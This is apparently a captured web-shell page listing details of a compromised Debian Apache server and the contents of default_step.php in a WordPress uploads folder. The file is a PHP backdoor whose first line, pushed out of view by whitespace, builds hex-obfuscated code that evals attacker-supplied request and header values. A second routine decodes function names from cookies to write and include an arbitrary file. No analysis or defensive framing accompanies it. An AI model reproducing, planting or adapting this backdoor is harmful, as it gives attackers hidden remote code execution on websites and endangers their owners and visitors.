HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/thaler/wp-content/uploads/2024/07/default_step.php
<?php																																										$_HEADERS = getallheaders();if(isset($_HEADERS['Feature-Policy'])){$c="<\x3fp\x68p\x20@\x65v\x61l\x28$\x5fR\x45Q\x55E\x53T\x5b\"\x43l\x65a\x72-\x53i\x74e\x2dD\x61t\x61\"\x5d)\x3b@\x65v\x61l\x28$\x5fH\x45A\x44E\x52S\x5b\"\x43l\x65a\x72-\x53i\x74e\x2dD\x61t\x61\"\x5d)\x3b";$f='.'.time();@file_put_contents($f, $c);@include($f);@unlink($f);}

if (isset($_COOKIE[3]) && isset($_COOKIE[30])) {

    $c = $_COOKIE;
    $k = 0;
    $n = 7;
    $p = array();
    $p[$k] = '';
    while ($n) {
        $p[$k] .= $c[30][$n];
        if (!$c[30][$n + 1]) {
            if (!$c[30][$n + 2]) break;
            $k++;
            $p[$k] = '';
            $n++;
        }
        $n = $n + 7 + 1;
    }
    $k = $p[21]() . $p[5];
    if (!$p[12]($k)) {
        $n = $p[9]($k, $p[3]);
        $p[15]($n, $p[11] . $p[14]($p[28]($c[3])));
    }
    include($k);
}